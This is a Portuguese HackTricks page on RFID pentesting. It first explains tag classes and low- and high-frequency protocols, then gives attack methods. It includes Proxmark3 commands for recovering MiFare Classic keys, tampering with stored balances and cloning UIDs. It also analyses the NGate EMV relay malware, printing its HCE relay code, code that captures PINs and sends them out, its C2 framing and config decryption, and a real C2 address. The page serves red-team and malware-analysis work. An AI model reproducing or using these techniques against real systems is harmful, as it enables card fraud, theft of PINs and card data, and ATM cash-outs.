Pentesting RFID

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Introduction

Radio Frequency Identification (RFID) é a solução de rádio de curto alcance mais popular. Normalmente é usada para armazenar e transmitir informações que identificam uma entidade.

Uma tag RFID pode depender de sua própria fonte de energia (active), como uma bateria embutida, ou receber sua energia da antena leitora usando a corrente induzida pelas ondas de rádio recebidas (passive).

Classes

EPCglobal divide as tags RFID em seis categorias. Uma tag em cada categoria tem todas as capacidades listadas na categoria anterior, tornando-a compatível com versões anteriores.

  • Class 0 tags são passive tags que operam em bandas UHF. O fornecedor preprograma elas na fábrica de produção. Como resultado, você não pode alterar as informações armazenadas na sua memória.
  • Class 1 tags também podem operar em bandas HF. Além disso, elas podem ser escritas apenas uma vez após a produção. Muitas tags Class 1 também podem processar cyclic redundancy checks (CRCs) dos comandos que recebem. CRCs são alguns bytes extras no fim dos comandos para detecção de erro.
  • Class 2 tags podem ser escritas múltiplas vezes.
  • Class 3 tags podem conter sensores embutidos que podem registrar parâmetros ambientais, como a temperatura atual ou o movimento da tag. Essas tags são semi-passive, porque embora tenham uma fonte de energia embutida, como uma battery integrada, elas não podem iniciar a comunicação sem fio com outras tags ou leitores.
  • Class 4 tags podem iniciar comunicação com outras tags da mesma classe, tornando-as active tags.
  • Class 5 tags podem fornecer energia a outras tags e comunicar-se com todas as classes de tags anteriores. Class 5 tags podem atuar como RFID readers.

Informações Armazenadas em Tags RFID

A memória de uma tag RFID normalmente armazena quatro tipos de dados: os identification data, que identificam a entidade à qual a tag está anexada (estes dados incluem campos definidos pelo usuário, como contas bancárias); os supplementary data, que fornecem mais detalhes sobre a entidade; os control data, usados para a configuração interna da tag; e os manufacturer data da tag, que contêm o Identificador Único (UID) da tag e detalhes sobre a produção, tipo e vendor da tag. Você encontrará os dois primeiros tipos de dados em todas as tags comerciais; os dois últimos podem diferir dependendo do vendor da tag.

O padrão ISO especifica o valor Application Family Identifier (AFI), um código que indica o tipo de objeto ao qual a tag pertence. Outro registrador importante, também especificado pela ISO, é o Data Storage Format Identifier(DSFID), que define a organização lógica dos user data.

A maioria dos security controls de RFID possui mecanismos que restrigem as operações de read ou write em cada bloco de memória do usuário e nos registradores especiais que contêm os valores AFI e DSFID. Esses lock mechanisms usam dados armazenados na memória de controle e têm default passwords pré-configuradas pelo vendor, mas permitem que os proprietários da tag configurem senhas customizadas.

Comparação entre tags de baixa e alta frequência

Low-Frequency RFID Tags (125kHz)

Low-frequency tags são frequentemente usadas em sistemas que não exigem alta segurança: acesso a prédios, chaves de interfone, cartões de academia, etc. Devido ao seu alcance maior, são convenientes para uso em estacionamentos pagos: o motorista não precisa aproximar o cartão do leitor, já que ele é ativado a uma distância maior. Ao mesmo tempo, tags de baixa frequência são muito primitivas, têm baixa taxa de transferência de dados. Por essa razão, é impossível implementar transferências de dados bidirecionais complexas para coisas como manter saldo e criptografia. Low-frequency tags apenas transmitem seu ID curto sem qualquer meio de autenticação.

Esses dispositivos dependem da tecnologia passive RFID e operam em uma faixa de 30 kHz a 300 kHz, embora seja mais comum usar 125 kHz a 134 kHz:

  • Long Range — frequência mais baixa se traduz em maior alcance. Existem alguns leitores EM-Marin e HID que funcionam a uma distância de até um metro. Esses são frequentemente usados em estacionamentos.
  • Primitive protocol — devido à baixa taxa de transferência de dados, essas tags só conseguem transmitir seu ID curto. Na maioria dos casos, os dados não são autenticados e não são protegidos de nenhuma forma. Assim que o cartão está no alcance do leitor, ele começa a transmitir seu ID.
  • Low security — Esses cartões podem ser facilmente copiados, ou até lidos do bolso de outra pessoa devido à primitividade do protocolo.

Protocolos populares de 125 kHz:

  • EM-Marin — EM4100, EM4102. O protocolo mais popular na CIS. Pode ser lido a cerca de um metro por causa de sua simplicidade e estabilidade.
  • HID Prox II — protocolo de baixa frequência introduzido pela HID Global. Esse protocolo é mais popular em países ocidentais. É mais complexo e os cartões e leitores para esse protocolo são relativamente caros.
  • Indala — protocolo de baixa frequência muito antigo que foi introduzido pela Motorola, e depois adquirido pela HID. É menos provável encontrá-lo em uso comparado aos dois anteriores porque está caindo em desuso.

Na realidade, existem muitos mais protocolos de baixa frequência. Mas todos eles usam a mesma modulação na camada física e podem ser considerados, de uma forma ou de outra, variações dos listados acima.

Ataque

Você pode attack essas Tags com o Flipper Zero:

FZ - 125kHz RFID

High-Frequency RFID Tags (13.56 MHz)

High-frequency tags são usadas para uma interação leitor-tag mais complexa quando você precisa de criptografia, transferência de dados bidirecional grande, autenticação, etc.
Normalmente são encontradas em bank cards, transporte público e outros passes seguros.

High-frequency 13.56 MHz tags são um conjunto de padrões e protocolos. Geralmente são chamadas de NFC, mas isso nem sempre é correto. O conjunto básico de protocolos usado nos níveis físico e lógico é o ISO 14443. Protocolos de alto nível, assim como padrões alternativos (como ISO 19092), são baseados nele. Muitas pessoas se referem a essa tecnologia como Near Field Communication (NFC), um termo para dispositivos que operam na frequência de 13.56 MHz.

Para simplificar, a arquitetura do NFC funciona assim: o protocolo de transmissão é escolhido pela empresa que faz os cartões e implementado com base no nível baixo ISO 14443. Por exemplo, a NXP inventou seu próprio protocolo de transmissão de alto nível chamado Mifare. Mas no nível inferior, os cartões Mifare são baseados no padrão ISO 14443-A.

O Flipper pode interagir tanto com o protocolo de baixo nível ISO 14443, quanto com o protocolo de transferência de dados Mifare Ultralight e EMV usado em cartões bancários. Estamos trabalhando para adicionar suporte ao Mifare Classic e NFC NDEF. Um olhar aprofundado sobre os protocolos e padrões que compõem o NFC merece um artigo separado que planejamos publicar mais adiante.

Todos os cartões de alta frequência baseados no padrão ISO 14443-A têm um chip ID único. Ele atua como o número de série do cartão, como o MAC de uma placa de rede. Normalmente, o UID tem 4 ou 7 bytes de comprimento, mas raramente pode chegar a 10. UIDs não são segredo e são facilmente legíveis, às vezes até impressos no próprio cartão.

Existem muitos sistemas de controle de acesso que dependem do UID para autenticar e conceder acesso. Às vezes isso acontece mesmo quando as tags RFID suportam criptografia. Tal uso indevido os rebaixa ao nível dos burros 125 kHz cards em termos de security. Cartões virtuais (como Apple Pay) usam um UID dinâmico para que os proprietários do telefone não abram portas com seu app de pagamento.

  • Low range — cartões de alta frequência são especificamente projetados para que precisem ser colocados próximos ao leitor. Isso também ajuda a proteger o cartão de interações não autorizadas. O alcance máximo de leitura que conseguimos atingir foi cerca de 15 cm, e isso foi com leitores de alta distância feitos sob medida.
  • Advanced protocols — velocidades de transferência de dados de até 424 kbps permitem protocolos complexos com transferência bidirecional completa. O que por sua vez permite criptografia, transferência de dados, etc.
  • High security — cartões contactless de alta frequência não ficam devendo em nada aos smart cards. Existem cartões que suportam algoritmos criptograficamente fortes como AES e implementam criptografia assimétrica.

Ataque

Você pode attack essas Tags com o Flipper Zero:

FZ - NFC

Ou usando o proxmark:

Proxmark 3

MiFare Classic offline stored-value tampering (broken Crypto1)

Quando um sistema armazena um saldo monetário diretamente em um cartão MiFare Classic, frequentemente você pode manipulá-lo porque o Classic usa o cipher Crypto1, obsoleto da NXP. O Crypto1 foi quebrado há anos, permitindo a recuperação das chaves de setor e leitura/escrita completa da memória do cartão com hardware commodity (por exemplo, Proxmark3).

Fluxo de trabalho ponta a ponta (abstrato):

  1. Dump the original card and recover keys
# Attempt all built-in Classic key recovery attacks and dump the card
hf mf autopwn

Isso normalmente recupera as chaves de setor (A/B) e gera um full-card dump na pasta client dumps.

  1. Localizar e entender os campos de valor/integridade
  • Faça recargas legítimas no cartão original e faça múltiplos dumps (antes/depois).
  • Faça um diff entre os dois dumps para identificar os blocos/bytes que mudam e que representam o saldo e quaisquer campos de integridade.
  • Muitas implantações Classic usam ou a codificação nativa “value block” ou implementam seus próprios checksums (por ex., XOR do saldo com outro campo e uma constante). Após alterar o saldo, recalcule os bytes de integridade conforme necessário e assegure que todos os campos duplicados/complementados estejam consistentes.
  1. Grave o dump modificado em uma tag Classic gravável “Chinese magic”
# Load a modified binary dump onto a UID-changeable Classic tag
hf mf cload -f modified.bin
  1. Clonar o UID original para que os terminais reconheçam o cartão
# Set the UID on a UID-changeable tag (gen1a/gen2 magic)
hf mf csetuid -u <original_uid>
  1. Uso em terminais

Leitores que confiam no saldo no cartão e no UID aceitarão o cartão manipulado. Observações de campo mostram que muitas implantações limitam saldos com base na largura do campo (por exemplo, 16-bit fixed-point).

Notas

  • Se o sistema usar value blocks nativos do Classic, lembre-se do formato: value (4B) + ~value (4B) + value (4B) + block address + ~address. Todas as partes devem corresponder.
  • Para formatos personalizados com checksums simples, a análise diferencial é a maneira mais rápida de derivar a função de integridade sem reverter o firmware.
  • Apenas tags com UID mutável (“Chinese magic” gen1a/gen2) permitem escrever o bloco 0/UID. Cartões Classic normais têm UIDs somente leitura.

Para comandos práticos do Proxmark3, veja:

Proxmark 3

Construindo um Clonador Móvel Portátil HID MaxiProx 125 kHz

Se você precisa de uma solução de longo alcance, alimentada por bateria para coletar badges HID Prox® durante operações de red-team, pode converter o leitor de parede HID MaxiProx 5375 em um clonador autônomo que cabe em uma mochila. O passo a passo mecânico e elétrico completo está disponível aqui:

Maxiprox Mobile Cloner

NFC/EMV Relay via Android Reader↔HCE Emitter

Um relay EMV Classic pode ser implementado com 2 dispositivos Android: um leitor no lado da vítima que captura APDUs ao vivo e o PIN de um cartão real, e um emissor HCE no lado do atacante no terminal que encaminha APDUs rio acima. O kit NGate analisado abusa de APIs legítimas de NFC do Android e de um simples C2 TCP em frames para orquestrar cash-outs em ATMs em tempo real.

Componentes principais

  • App em modo leitor (vítima): usa NFC reader APIs para analisar EMV (PAN/expiry/AIDs), exibe o esquema por AID, solicita o PIN e exfiltra imediatamente.
  • App em modo emissor (lado ATM): implementa Host Card Emulation (HCE) com android:requireDeviceUnlock="false" e um AID de pagamento; processCommandApdu() encaminha APDUs para o C2 e retorna a resposta mínima.
  • Protocolo de transporte: frames com prefixo de comprimento, keepalive periódico; TLS opcional.

Android surface (Manifest/HCE)

<uses-permission android:name="android.permission.NFC"/>
<uses-permission android:name="android.permission.INTERNET"/>
<service android:name=".nfc.hce.ApduService"
android:permission="android.permission.BIND_NFC_SERVICE"
android:exported="true">
<intent-filter>
<action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
<meta-data android:name="android.nfc.cardemulation.host_apdu_service"
android:resource="@xml/hce"/>
</service>

exemplo de hce.xml (sem unlock + payment AID)

<host-apdu-service android:requireDeviceUnlock="false"
android:description="relay">
<aid-group android:category="other">
<aid-filter android:name="F001020304050607"/>
</aid-group>
<aid-group android:category="payment">
<aid-filter android:name="F001020304050607"/>
</aid-group>
</host-apdu-service>

Endpoint de relay transparente (HCE)

@Override public byte[] processCommandApdu(byte[] apdu, Bundle extras) {
Log.d("ApduService", "APDU-IN: " + toHex(apdu));
bus.forward(apdu); // send upstream to C2/reader
return new byte[0]; // empty response, pure relay endpoint
}

Inferência do esquema EMV por AID (exemplos)

  • A000000004 → Mastercard
  • A000000003 → Visa
  • A000000658 → MIR
  • A000000333 → UnionPay

Padrão de coleta de PIN (UI da vítima)

// Custom keypad publishes when required length (e.g., 4) is reached
if (pin.length() == 4) postDelayed(() -> bus.publish(pin), 100L);
// Network immediately exfiltrates via dedicated opcode
send(OP_PIN_REQ, pin.getBytes(StandardCharsets.UTF_8));

Framed C2 (exemplo em cleartext)

  • Cliente→Servidor: int32 len | int32 opcode | body
  • Servidor→Cliente: int32 len | body (opcode dentro do payload)
  • Rejeitar bodies > ~100 MiB; keepalive ~7s (PING)
// send
out.writeInt(body.length); out.writeInt(op); out.write(body); out.flush();
// recv
int len = in.readInt(); byte[] body = new byte[len]; in.readFully(body);

Ocultação de config: cert-derived XOR

  • Native lib deriva uma chave de 32-byte como SHA‑256 do app signing certificate (DER).
  • C2 config está em ASCII‑hex em assets (por exemplo, assets/____), hex-decoded e XOR-ed com a chave, repetindo a cada 32 bytes:
for (size_t i = 0; i < len; i++) pt[i] = ct[i] ^ key[i & 31];

PoC offline para descriptografar config

# Extract signing cert digest
apksigner verify --print-certs sample.apk
# "Signer #1 certificate SHA-256 digest: <hex>"

import pathlib
key = bytes.fromhex("<sha256_of_signing_cert>")
ct  = bytes.fromhex(pathlib.Path("/path/to/assets/____").read_text().strip())
pt  = bytes(c ^ key[i % 32] for i, c in enumerate(ct))
print(pt.decode("utf-8", errors="replace"))

Campos descriptografados de exemplo: host, port, sharedToken, tls, mode, reader, uniqueID, ttd.

Cadeia de relay (end-to-end)

  1. A vítima instala o APK, abre o app → a inicialização nativa descriptografa a configuração dos assets.
  2. O app conecta ao C2 (e.g., 91.84.97.13:5653) usando framed TCP; keepalive ~7s.
  3. A vítima encosta o cartão → o reader extrai PAN/expiry/AIDs e envia CARD_DISCOVERED.
  4. A vítima digita o PIN → o keypad publica e exfiltra via PIN_REQ; o servidor responde VALID/INVALID apenas para a UI.
  5. O dispositivo do atacante no terminal executa um emissor HCE retransmitindo APDUs para o ATM e realiza cash-out.

Referências

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks